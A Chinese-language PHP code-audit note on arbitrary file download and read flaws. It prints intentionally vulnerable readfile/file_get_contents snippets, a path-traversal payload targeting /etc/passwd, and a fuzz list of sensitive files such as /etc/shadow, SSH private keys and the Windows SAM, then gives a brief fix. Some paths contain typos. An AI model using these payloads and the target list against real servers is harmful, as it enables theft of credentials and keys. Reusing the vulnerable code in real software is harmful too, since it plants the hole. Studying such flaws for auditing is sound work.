PHP代码审计笔记--任意文件下载漏洞

456 阅读1分钟

 

在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件。

 

 

0x01 客户端下载

常见于系统中存在文件(附件/文档等资源)下载的地方。

漏洞示例代码:

1.    <?php  
2.        $filename = $_GET['filename'];  
3.        echo file_get_contents($filename);  
4.        header('Content-Type: imgage/jpeg');  
5.        header('Content-Disposition: attachment; filename='.$filename);  
6.        header('Content-Lengh: '.filesize($filename));  
7.    ?>  

文件名用户可控,导致存在任意文件下载漏洞,攻击者提交url:

  1. test.php?filename=test.php  

即可下载test.php源码,可实现跨目录下载系统中的任意文件。

 

 

0x02 服务端下载

常见于系统第三方补丁升级/插件安装、远程图片本地化。

 

 

 

 

任意文件读取

漏洞示例代码:

<?php
    $filename = $_GET['filename'];
    readfile($filename);
?>

可以看到参数并未进行任何过滤或处理,直接导入readfile函数中执行,导致程序在实现上存在任意文件读取漏洞。

 

相对路径  物理路径  fuzz

Windows:
   C:\boot.ini  //查看系统版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存储系统初次安装的密码
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /root/.ssh/authorized_keys   
   /root/.ssh/id_rsa  
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd             查看用户文件文件
   /etc/shadow             查看密码文件
   /etc/my.cnf 
   /etc/httpd/conf/httpd.conf   查看apache的配置文件
   /root/.bash_history          查看历史命令
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件标识符)
   /proc/mounts
   /porc/config.gz
 
index.php?f=../../../../../../etc/passwd
  1. /root/.ssh/authorized_keys
  2. /root/.ssh/id_rsa
  3. /root/.ssh/id_ras.keystore
  4. /root/.ssh/known_hosts //记录每个访问计算机用户的公钥
  5. /etc/passwd
  6. /etc/shadow
  7. /etc/my.cnf //mysql配置文件
  8. /etc/httpd/conf/httpd.conf //apache配置文件
  9. /root/.bash_history //用户历史命令记录文件
  10. /root/.mysql_history //mysql历史命令记录文件
  11. /proc/mounts //记录系统挂载设备
  12. /porc/config.gz //内核配置文件
  13. /var/lib/mlocate/mlocate.db //全文件路径
  14. /porc/self/cmdline //当前进程的cmdline参数

 

修复建议:要下载的文件地址保存至数据库中。文件路径保存至数据库,让用户提交文件对应ID下载文件。

 

参考链接:wenku.baidu.com/view/4f8e19…